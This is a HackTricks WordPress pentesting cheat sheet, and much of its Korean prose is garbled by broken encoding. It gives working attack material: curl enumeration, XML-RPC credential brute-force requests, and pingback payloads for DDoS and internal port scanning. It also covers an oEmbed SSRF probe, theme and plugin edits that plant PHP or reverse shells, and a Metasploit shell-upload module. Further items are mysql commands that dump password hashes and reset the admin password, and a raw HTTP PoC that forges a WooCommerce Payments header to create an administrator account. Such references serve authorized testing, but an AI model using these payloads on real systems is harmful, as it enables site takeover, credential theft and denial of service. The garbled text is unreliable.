Wordpress
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
-
์ ๋ก๋๋ ํ์ผ์ ๋ค์์ ์ ์ฅ๋ฉ๋๋ค:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt -
ํ ๋ง ํ์ผ์ /wp-content/themes/์์ ์ฐพ์ ์ ์์ต๋๋ค, ๋ฐ๋ผ์ ํ ๋ง์ ์ผ๋ถ php๋ฅผ ์์ ํ์ฌ RCE๋ฅผ ์ป์ผ๋ ค๋ฉด ์๋ง๋ ํด๋น ๊ฒฝ๋ก๋ฅผ ์ด์ฉํ๊ฒ ๋ฉ๋๋ค. ์: theme twentytwelve๋ฅผ ์ฌ์ฉํ๋ฉด ๋ค์์์ 404.php ํ์ผ์ ์ ๊ทผํ ์ ์์ต๋๋ค: /wp-content/themes/twentytwelve/404.php
-
๋ค๋ฅธ ์ ์ฉํ URL ์: /wp-content/themes/default/404.php
-
wp-config.php์์ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ฃจํธ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค.
-
ํ์ธํด์ผ ํ ๊ธฐ๋ณธ ๋ก๊ทธ์ธ ๊ฒฝ๋ก: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
์ฃผ์ WordPress ํ์ผ
index.phplicense.txt์๋ ์ค์น๋ WordPress ๋ฒ์ ๊ณผ ๊ฐ์ ์ ์ฉํ ์ ๋ณด๊ฐ ํฌํจ๋์ด ์์ต๋๋ค.wp-activate.php๋ ์ WordPress ์ฌ์ดํธ ์ค์ ์ ์ด๋ฉ์ผ ํ์ฑํ ํ๋ก์ธ์ค์ ์ฌ์ฉ๋ฉ๋๋ค.- ๋ก๊ทธ์ธ ํด๋(์จ๊ธฐ๊ธฐ ์ํด ์ด๋ฆ์ด ๋ณ๊ฒฝ๋์์ ์ ์์):
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.php
xmlrpc.php๋ HTTP๋ฅผ ์ ์ก ๋ฉ์ปค๋์ฆ์ผ๋ก, XML์ ์ธ์ฝ๋ฉ ๋ฉ์ปค๋์ฆ์ผ๋ก ์ฌ์ฉํด ๋ฐ์ดํฐ๋ฅผ ์ ์กํ ์ ์๊ฒ ํ๋ WordPress์ ๊ธฐ๋ฅ์ ๋ํ๋ด๋ ํ์ผ์ ๋๋ค. ์ด ์ ํ์ ํต์ ์ WordPress์ REST API์ ์ํด ๋์ฒด๋์์ต๋๋ค.wp-contentํด๋๋ ํ๋ฌ๊ทธ์ธ๊ณผ ํ ๋ง๊ฐ ์ ์ฅ๋๋ ์ฃผ์ ๋๋ ํฐ๋ฆฌ์ ๋๋ค.wp-content/uploads/๋ ํ๋ซํผ์ ์ ๋ก๋๋ ๋ชจ๋ ํ์ผ์ด ์ ์ฅ๋๋ ๋๋ ํฐ๋ฆฌ์ ๋๋ค.wp-includes/๋ ์ธ์ฆ์, ๊ธ๊ผด, JavaScript ํ์ผ ๋ฐ ์์ ฏ๊ณผ ๊ฐ์ ํต์ฌ ํ์ผ๋ค์ด ์ ์ฅ๋๋ ๋๋ ํฐ๋ฆฌ์ ๋๋ค.wp-sitemap.xmlWordPress ๋ฒ์ 5.5 ์ด์์์๋ ๊ณต๊ฐ ํฌ์คํธ ๋ฐ ๊ณต๊ฐ์ ์ผ๋ก ์ฟผ๋ฆฌ ๊ฐ๋ฅํ ํฌ์คํธ ํ์ ๊ณผ ํ์๋ ธ๋ฏธ๋ฅผ ํฌํจํ sitemap XML ํ์ผ์ ์์ฑํฉ๋๋ค.
Post exploitation
wp-config.phpํ์ผ์๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ด๋ฆ, ๋ฐ์ดํฐ๋ฒ ์ด์ค ํธ์คํธ, ์ฌ์ฉ์๋ช ๋ฐ ๋น๋ฐ๋ฒํธ, ์ธ์ฆ ํค์ ์ํธ, ๋ฐ์ดํฐ๋ฒ ์ด์ค ํ ์ด๋ธ ์ ๋์ฌ ๋ฑ WordPress๊ฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ฐ๊ฒฐํ๋ ๋ฐ ํ์ํ ์ ๋ณด๊ฐ ๋ค์ด ์์ต๋๋ค. ์ด ์ค์ ํ์ผ์ ๋ฌธ์ ํด๊ฒฐ์ ์ ์ฉํ DEBUG ๋ชจ๋๋ฅผ ํ์ฑํํ๋ ๋ฐ์๋ ์ฌ์ฉํ ์ ์์ต๋๋ค.
์ฌ์ฉ์ ๊ถํ
- Administrator
- Editor: ์์ ์ ๋ฐ ๋ค๋ฅธ ์ฌ๋์ ๊ฒ์๋ฌผ์ ๊ฒ์ํ๊ณ ๊ด๋ฆฌํฉ๋๋ค
- Author: ์์ ์ ๊ฒ์๋ฌผ์ ๊ฒ์ํ๊ณ ๊ด๋ฆฌํฉ๋๋ค
- Contributor: ๊ฒ์๋ฌผ์ ์์ฑํ๊ณ ๊ด๋ฆฌํ ์ ์์ผ๋ ๊ฒ์ํ ์๋ ์์ต๋๋ค
- Subscriber: ๊ฒ์๋ฌผ์ ์ด๋ํ๊ณ ์์ ์ ํ๋กํ์ ์์ ํ ์ ์์ต๋๋ค
Passive Enumeration
Get WordPress version
/license.txt ๋๋ /readme.html ํ์ผ์ ์ฐพ์ ์ ์๋์ง ํ์ธํ์ธ์.
ํ์ด์ง์ source code ๋ด์์ (์: https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
.png)
- CSS ๋งํฌ ํ์ผ
.png)
- JavaScript ํ์ผ
.png)
ํ๋ฌ๊ทธ์ธ ์ป๊ธฐ
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
ํ ๋ง ๊ฐ์ ธ์ค๊ธฐ
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
์ผ๋ฐ์ ์ผ๋ก ๋ฒ์ ์ถ์ถํ๊ธฐ
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
๋ฅ๋์ ์ด๊ฑฐ
ํ๋ฌ๊ทธ์ธ ๋ฐ ํ ๋ง
์๋ง ๋ชจ๋ ํ๋ฌ๊ทธ์ธ๊ณผ ํ ๋ง๋ฅผ ์ฐพ์ ์๋ ์์ ๊ฒ์ ๋๋ค. ๋ชจ๋ ๋ฐ๊ฒฌํ๋ ค๋ฉด actively Brute Force a list of Plugins and Themes ํด์ผ ํฉ๋๋ค(๋คํํ๋ ์ด๋ฌํ ๋ชฉ๋ก์ ํฌํจํ ์๋ํ ๋๊ตฌ๋ค์ด ์กด์ฌํฉ๋๋ค).
์ฌ์ฉ์
- ID Brute: Brute Forcing ์ฌ์ฉ์ ID๋ฅผ ํตํด WordPress ์ฌ์ดํธ์ ์ ํจํ ์ฌ์ฉ์๋ฅผ ์ป์ต๋๋ค:
curl -s -I -X GET http://blog.example.com/?author=1
์๋ต์ด 200 ๋๋ 30X์ด๋ฉด ํด๋น id๊ฐ ์ ํจํ๋ค๋ ์๋ฏธ์ ๋๋ค. ์๋ต์ด 400์ด๋ฉด id๊ฐ ๋ฌดํจ์ ๋๋ค.
- wp-json: ์ฟผ๋ฆฌํ์ฌ ์ฌ์ฉ์์ ๋ํ ์ ๋ณด๋ฅผ ์ป์ ์๋ ์์ต๋๋ค:
curl http://blog.example.com/wp-json/wp/v2/users
์ฌ์ฉ์์ ๋ํ ์ผ๋ถ ์ ๋ณด๋ฅผ ๋๋ฌ๋ผ ์ ์๋ ๋ ๋ค๋ฅธ /wp-json/ endpoint๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
์ด ์๋ํฌ์ธํธ๋ ๊ฒ์๋ฌผ์ ์์ฑํ ์ฌ์ฉ์๋ง ๋ ธ์ถํฉ๋๋ค. ์ด ๊ธฐ๋ฅ์ ํ์ฑํํ ์ฌ์ฉ์์ ๋ํ ์ ๋ณด๋ง ์ ๊ณต๋ฉ๋๋ค.
๋ํ /wp-json/wp/v2/pages๋ IP ์ฃผ์๋ฅผ leakํ ์ ์์ต๋๋ค.
- Login username enumeration: **
/wp-login.php**์ ๋ก๊ทธ์ธํ ๋ ๋ฉ์์ง๊ฐ ๋ค๋ฅด๊ฒ ํ์๋์ด ์ฌ์ฉ์ ์ด๋ฆ์ด ์กด์ฌํ๋์ง ์ฌ๋ถ๋ฅผ ์ ์ ์์ต๋๋ค.
XML-RPC
xml-rpc.php๊ฐ ํ์ฑํ๋์ด ์์ผ๋ฉด credentials brute-force๋ฅผ ์ํํ๊ฑฐ๋ ๋ค๋ฅธ ๋ฆฌ์์ค์ DoS ๊ณต๊ฒฉ์ ์์ํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค. (์: ์ด ๊ณผ์ ์ ์๋ํํ๋ ค๋ฉด using this๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค).
ํ์ฑํ ์ฌ๋ถ๋ฅผ ํ์ธํ๋ ค๋ฉด _/xmlrpc.php_์ ์ ์ํ์ฌ ๋ค์ ์์ฒญ์ ์ ์กํด ๋ณด์ญ์์ค:
ํ์ธ
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce
wp.getUserBlogs, wp.getCategories ๋๋ **metaWeblog.getUsersBlogs**๋ credentials๋ฅผ brute-forceํ๋ ๋ฐ ์ฌ์ฉํ ์ ์๋ ๋ฉ์๋ ์ค ์ผ๋ถ์
๋๋ค. ํด๋น ๋ฉ์๋๋ค์ ์ฐพ์ ์ ์๋ค๋ฉด ๋ค์๊ณผ ๊ฐ์ ์์ฒญ์ ๋ณด๋ผ ์ ์์ต๋๋ค:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
200 ์ฝ๋ ์๋ต ๋ด๋ถ์ โIncorrect username or passwordโ ๋ฉ์์ง๋ ์๊ฒฉ ์ฆ๋ช ์ด ์ ํจํ์ง ์์ ๊ฒฝ์ฐ ํ์๋์ด์ผ ํฉ๋๋ค.
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png)
.png)
์ฌ๋ฐ๋ฅธ ์๊ฒฉ ์ฆ๋ช ์ ์ฌ์ฉํ๋ฉด ํ์ผ์ ์ ๋ก๋ํ ์ ์์ต๋๋ค. ์๋ต์์ ๊ฒฝ๋ก๊ฐ ํ์๋ฉ๋๋ค (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
๋ํ faster way๊ฐ ์๋๋ฐ, ๋์ผํ ์์ฒญ์ผ๋ก ์ฌ๋ฌ credentials๋ฅผ ์๋ํ ์ ์๊ธฐ ๋๋ฌธ์ **system.multicall**์ ์ฌ์ฉํด brute-force credentials๋ฅผ ์ํํ ์ ์์ต๋๋ค:
.png)
Bypass 2FA
์ด ๋ฐฉ๋ฒ์ ์ฌ๋์ฉ์ด ์๋๋ผ ํ๋ก๊ทธ๋จ์ฉ์ผ๋ก ๋ง๋ค์ด์ก๊ณ ์ค๋๋ ๋ฐฉ์์ด๊ธฐ ๋๋ฌธ์ 2FA๋ฅผ ์ง์ํ์ง ์์ต๋๋ค. ๋ฐ๋ผ์ ์ ํจํ creds๋ ๊ฐ์ง๊ณ ์์ง๋ง ์ฃผ์ ์ง์ ์ ์ด 2FA๋ก ๋ณดํธ๋์ด ์๋ค๋ฉด, you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA. ์ฝ์์์ ํ ์ ์๋ ๋ชจ๋ ์์ ์ ์ํํ ์๋ ์์ง๋ง, Ippsec๊ฐ https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s์์ ์ค๋ช ํ ๊ฒ์ฒ๋ผ ์ฌ์ ํ RCE์ ๋๋ฌํ ์ ์์ ์๋ ์์ต๋๋ค.
DDoS or port scanning
๋ชฉ๋ก์์ pingback.ping ๋ฉ์๋๋ฅผ ์ฐพ์ ์ ์๋ค๋ฉด, Wordpress๊ฐ ์์์ ํธ์คํธ/ํฌํธ๋ก ์์ฒญ์ ๋ณด๋ด๊ฒ ๋ง๋ค ์ ์์ต๋๋ค.
์ด๊ฒ์ ์ด์ฉํ๋ฉด thousands์ Wordpress sites์ ํ๋์ location์ ์ ๊ทผํ๋๋ก ์์ฒญํ๊ฒ ํจ์ผ๋ก์จ ํด๋น ์์น์ DDoS๋ฅผ ์ผ์ผํค๊ฑฐ๋, ํน์ ํฌํธ๋ฅผ ์ง์ ํ์ฌ Wordpress๋ฅผ lo scanํ๋๋ก ๋ง๋ค์ด ๋ด๋ถ network๋ฅผ ์ค์บํ๊ฒ ํ ์ ์์ต๋๋ค (ํฌํธ๋ ์ํ๋ ๋๋ก ์ง์ ํ ์ ์์ต๋๋ค).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

๊ฐ์ด 0 (17)๋ณด๋ค ํฐ faultCode๋ฅผ ๋ฐ์ผ๋ฉด ํฌํธ๊ฐ ์ด๋ ค ์๋ค๋ ๋ป์ ๋๋ค.
์ด์ ์น์
์์ **system.multicall**์ ์ฌ์ฉ๋ฒ์ ์ดํด๋ณด๋ฉด ์ด ๋ฉ์๋๋ฅผ ์
์ฉํด DDoS๋ฅผ ์ผ์ผํค๋ ๋ฐฉ๋ฒ์ ๋ฐฐ์ธ ์ ์์ต๋๋ค.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
.png)
wp-cron.php DoS
์ด ํ์ผ์ ๋ณดํต Wordpress ์ฌ์ดํธ์ ๋ฃจํธ์ ์กด์ฌํฉ๋๋ค: /wp-cron.php
์ด ํ์ผ์ accessed๋๋ฉด heavy MySQL query๊ฐ ์ํ๋์ด attackers๊ฐ DoS๋ฅผ causeํ๋ ๋ฐ ์ด์ฉ๋ ์ ์์ต๋๋ค.
๋ํ ๊ธฐ๋ณธ์ ์ผ๋ก wp-cron.php๋ ๋ชจ๋ ํ์ด์ง ๋ก๋(ํด๋ผ์ด์ธํธ๊ฐ Wordpress ํ์ด์ง๋ฅผ ์์ฒญํ ๋๋ง๋ค) ์ ํธ์ถ๋๋ฏ๋ก, ํธ๋ํฝ์ด ๋ง์ ์ฌ์ดํธ์์๋ ๋ฌธ์ ๊ฐ ๋ฐ์(DoS)ํ ์ ์์ต๋๋ค.
Wp-Cron์ ๋นํ์ฑํํ๊ณ ํธ์คํธ ๋ด์์ ์ค์ cronjob์ ๋ง๋ค์ด ํ์ํ ์์ ์ ์ ๊ธฐ์ ์ผ๋ก ์ํํ๋๋ก ํ๋ ๊ฒ์ด ๊ถ์ฅ๋ฉ๋๋ค(๋ฌธ์ ๋ฅผ ์ผ์ผํค์ง ์๋๋ก).
/wp-json/oembed/1.0/proxy - SSRF
๋ค์์ ์ ๊ทผ์ ์๋ํด๋ณด์ธ์: https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net ๊ทธ๋ฆฌ๊ณ Worpress ์ฌ์ดํธ๊ฐ ๋น์ ์๊ฒ ์์ฒญ์ ๋ณด๋ผ ์ ์์ต๋๋ค.
This is the response when it doesnโt work:
.png)
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
์ด ๋๊ตฌ๋ methodName: pingback.ping์ด ์๋์ง์ /wp-json/oembed/1.0/proxy ๊ฒฝ๋ก๊ฐ ์กด์ฌํ๋์ง๋ฅผ ํ์ธํ๊ณ , ์กด์ฌํ๋ฉด ์ด๋ฅผ ์ด์ฉํด ์ต์คํ๋ก์์ ์๋ํฉ๋๋ค.
์๋ ๋๊ตฌ
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
ํ ๋นํธ๋ฅผ ๋ฎ์ด์จ์ ์ ๊ทผํ๊ธฐ
์ค์ ๊ณต๊ฒฉ์ด๋ผ๊ธฐ๋ณด๋ค๋ ํธ๊ธฐ์ฌ์ ๊ฐ๊น์ด ์ฌ๋ก๋ค. IN the CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man์์๋ ์ด๋ค wordpress ํ์ผ์ 1๋นํธ๋ฅผ ๋ค์ง์ ์ ์์๋ค. ๊ทธ๋์ ํ์ผ /var/www/html/wp-includes/user.php์ ์์น 5389 ๋นํธ๋ฅผ ๋ค์ง์ด NOP the NOT (!) ์ฐ์ฐ์ ๋ฌดํจํํ ์ ์๋ค.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
์ฌ์ฉ ์ค์ธ ํ ๋ง์ php ์์ (๊ด๋ฆฌ์ ์๊ฒฉ ์ฆ๋ช ํ์)
Appearance โ Theme Editor โ 404 Template (์ค๋ฅธ์ชฝ์)
Change the content for a php shell:
.png)
์ ๋ฐ์ดํธ๋ ํ์ด์ง์ ์ด๋ป๊ฒ ์ ๊ทผํ๋์ง ์ธํฐ๋ท์์ ๊ฒ์ํ์ธ์. ์ด ๊ฒฝ์ฐ์๋ ๋ค์์ ์ ๊ทผํด์ผ ํฉ๋๋ค: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
use exploit/unix/webapp/wp_admin_shell_upload
to get a session.
Plugin RCE
PHP plugin
It may be possible to upload .php files as a plugin.
Create your php backdoor using for example:
.png)
Then add a new plugin:
.png)
Upload plugin and press Install Now:
.png)
Click on Procced:
.png)
Probably this wonโt do anything apparently, but if you go to Media, you will see your shell uploaded:
.png)
Access it and you will see the URL to execute the reverse shell:
.png)
Uploading and activating malicious plugin
์ด ๋ฐฉ๋ฒ์ ์ทจ์ฝํ ๊ฒ์ผ๋ก ์๋ ค์ง ์ ์ฑ plugin์ ์ค์นํ์ฌ web shell์ ํ๋ํ ์ ์๊ฒ ํฉ๋๋ค. ์ด ๊ณผ์ ์ WordPress dashboard๋ฅผ ํตํด ๋ค์๊ณผ ๊ฐ์ด ์ํ๋ฉ๋๋ค:
- Plugin Acquisition: The plugin is obtained from a source like Exploit DB like here.
- Plugin Installation:
- Navigate to the WordPress dashboard, then go to
Dashboard > Plugins > Upload Plugin. - Upload the zip file of the downloaded plugin.
- Plugin Activation: Once the plugin is successfully installed, it must be activated through the dashboard.
- Exploitation:
- With the plugin โreflex-galleryโ installed and activated, it can be exploited as it is known to be vulnerable.
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
- Itโs noted that this is just one of the many methods to exploit a WordPress site.
The content includes visual aids depicting the steps in the WordPress dashboard for installing and activating the plugin. However, itโs important to note that exploiting vulnerabilities in this manner is illegal and unethical without proper authorization. This information should be used responsibly and only in a legal context, such as penetration testing with explicit permission.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike is a script designed to escalate a Cross-Site Scripting (XSS) vulnerability to Remote Code Execution (RCE) or otherโs criticals vulnerabilities in WordPress. For more info check this post. It provides support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
- Privilege Escalation: Creates an user in WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Upload your custom plugin (backdoor) to WordPress.
- (RCE) Built-In Plugin Edit: Edit a Built-In Plugins in WordPress.
- (RCE) Built-In Theme Edit: Edit a Built-In Themes in WordPress.
- (Custom) Custom Exploits: Custom Exploits for Third-Party WordPress Plugins/Themes.
Post Exploitation
์ฌ์ฉ์ ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ ์ถ์ถ:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
๊ด๋ฆฌ์ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress ํ๋ฌ๊ทธ์ธ Pentest
๊ณต๊ฒฉ ํ๋ฉด
Wordpress ํ๋ฌ๊ทธ์ธ์ด ๊ธฐ๋ฅ์ ์ด๋ป๊ฒ ๋ ธ์ถํ๋์ง๋ ํด๋น ๊ธฐ๋ฅ์ ์ทจ์ฝ์ ์ ์ฐพ๋ ๋ฐ ํต์ฌ์ ์ด๋ค. ํ๋ฌ๊ทธ์ธ์ด ๊ธฐ๋ฅ์ ๋ ธ์ถํ๋ ๋ฐฉ์์ ์๋ ํญ๋ชฉ๋ค์์ ํ์ธํ ์ ์์ผ๋ฉฐ, ์ทจ์ฝํ ํ๋ฌ๊ทธ์ธ ์์๋ this blog post๋ฅผ ์ฐธ๊ณ ํ๋ผ.
wp_ajax
ํ๋ฌ๊ทธ์ธ์ด ๊ธฐ๋ฅ์ ์ฌ์ฉ์์๊ฒ ๋ ธ์ถํ๋ ๋ฐฉ๋ฒ ์ค ํ๋๋ AJAX ํธ๋ค๋ฌ๋ฅผ ํตํ ๊ฒ์ด๋ค. ์ด๋ฌํ ํธ๋ค๋ฌ์๋ ๋ ผ๋ฆฌ์ ๊ฒฐํจ, authorization, ๋๋ authentication ๋ฒ๊ทธ๊ฐ ํฌํจ๋ ์ ์๋ค. ๊ฒ๋ค๊ฐ ์ด๋ค ํจ์๋ ์ธ์ฆ๊ณผ ๊ถํ ๋ถ์ฌ๋ฅผ ๋ชจ๋ WordPress nonce์ ์กด์ฌ์ ๊ธฐ๋ฐํ๋ ๊ฒฝ์ฐ๊ฐ ํํ๋ฐ, ํด๋น nonce๋ Wordpress ์ธ์คํด์ค์ ์ธ์ฆ๋ ๋ชจ๋ ์ฌ์ฉ์๊ฐ ๊ฐ์ง ์ ์๋ค(์ญํ ๊ณผ ๋ฌด๊ดํ๊ฒ).
These are the functions that can be used to expose a function in a plugin:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
nopriv์ ์ฌ์ฉ์ ํด๋น ์๋ํฌ์ธํธ๋ฅผ ๋ชจ๋ ์ฌ์ฉ์(์ฌ์ง์ด ์ธ์ฆ๋์ง ์์ ์ฌ์ฉ์)๋ ์ ๊ทผํ ์ ์๊ฒ ๋ง๋ญ๋๋ค.
Caution
๋ํ, ํจ์๊ฐ ๋จ์ง
wp_verify_nonce๋ก ์ฌ์ฉ์์ ์ธ์ฆ๋ง ํ์ธํ๊ณ ์๋ค๋ฉด, ์ด ํจ์๋ ์ฌ์ฉ์๊ฐ ๋ก๊ทธ์ธํ๋์ง๋ง ํ์ธํ ๋ฟ ๋ณดํต ์ฌ์ฉ์ ์ญํ ์ ํ์ธํ์ง ์์ต๋๋ค. ๋ฐ๋ผ์ ๋ฎ์ ๊ถํ์ ์ฌ์ฉ์๊ฐ ๋์ ๊ถํ์ ์์ ์ ์ ๊ทผํ ์ ์์ต๋๋ค.
- REST API
๋ํ register_rest_route ํจ์๋ฅผ ์ฌ์ฉํ์ฌ wordpress์ ํจ์๋ฅผ REST API๋ก ๋
ธ์ถ์ํค๋ ๊ฒ๋ ๊ฐ๋ฅํฉ๋๋ค:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback๋ ํน์ ์ฌ์ฉ์๊ฐ API ๋ฉ์๋๋ฅผ ํธ์ถํ ๊ถํ์ด ์๋์ง ํ์ธํ๋ ์ฝ๋ฐฑ ํจ์์
๋๋ค.
๋ด์ฅ __return_true ํจ์๊ฐ ์ฌ์ฉ๋๋ฉด ์ฌ์ฉ์ ๊ถํ ๊ฒ์ฌ๋ฅผ ๋จ์ํ ๊ฑด๋๋๋๋ค.
- php ํ์ผ์ ์ง์ ์ ๊ทผ
๋ฌผ๋ก , Wordpress๋ PHP๋ฅผ ์ฌ์ฉํ๋ฉฐ ํ๋ฌ๊ทธ์ธ ๋ด๋ถ์ ํ์ผ์ ์น์์ ์ง์ ์ ๊ทผ ๊ฐ๋ฅํฉ๋๋ค. ๋ฐ๋ผ์ ํ๋ฌ๊ทธ์ธ์ด ํ์ผ์ ์ ๊ทผํ๋ ๊ฒ๋ง์ผ๋ก ์คํ๋๋ ์ทจ์ฝํ ๊ธฐ๋ฅ์ ๋ ธ์ถํ๋ฉด ๋ชจ๋ ์ฌ์ฉ์๊ฐ ์ด๋ฅผ ์ ์ฉํ ์ ์์ต๋๋ค.
Trusted-header REST impersonation (WooCommerce Payments โค 5.6.1)
์ผ๋ถ ํ๋ฌ๊ทธ์ธ์ ๋ด๋ถ ํตํฉ์ด๋ ๋ฆฌ๋ฒ์ค ํ๋ก์๋ฅผ ์ํ โtrusted headerโ ๋จ์ถํค๋ฅผ ๊ตฌํํ ๋ค์ ํด๋น ํค๋๋ฅผ ์ฌ์ฉํด REST ์์ฒญ์ ํ์ฌ ์ฌ์ฉ์ ์ปจํ ์คํธ๋ฅผ ์ค์ ํฉ๋๋ค. ๋ง์ฝ ํด๋น ํค๋๊ฐ ์ ์คํธ๋ฆผ ๊ตฌ์ฑ์์์ ์ํด ์ํธํ์ ์ผ๋ก ์์ฒญ์ ๋ฐ์ธ๋ฉ๋์ด ์์ง ์๋ค๋ฉด, ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ์คํธํํ์ฌ ๊ด๋ฆฌ์ ๊ถํ์ REST ๊ฒฝ๋ก์ ์ ๊ทผํ ์ ์์ต๋๋ค.
- ์ํฅ: ์ธ์ฆ๋์ง ์์ ์ํ์์ core users REST route๋ฅผ ํตํด ์ ๊ด๋ฆฌ์ ๊ณ์ ์ ์์ฑํ์ฌ ๊ด๋ฆฌ์ ๊ถํ ์์น์ผ๋ก ์ด์ด์ง.
- Example header:
X-Wcpay-Platform-Checkout-User: 1(user ID 1์ ๊ฐ์ ๋ก ์ค์ , ์ผ๋ฐ์ ์ผ๋ก ์ฒซ ๋ฒ์งธ ๊ด๋ฆฌ์ ๊ณ์ ). - ์
์ฉ๋ ๊ฒฝ๋ก:
POST /wp-json/wp/v2/usersโ ๊ถํ์ด ์์น๋ role ๋ฐฐ์ด๊ณผ ํจ๊ป.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
์๋ ์๋ฆฌ
- ํ๋ฌ๊ทธ์ธ์ด ํด๋ผ์ด์ธํธ๊ฐ ์ ์ดํ๋ ํค๋๋ฅผ ์ธ์ฆ ์ํ๋ก ๋งคํํ๊ณ ๊ถํ ๊ฒ์ฌ๋ฅผ ๊ฑด๋๋ด๋ค.
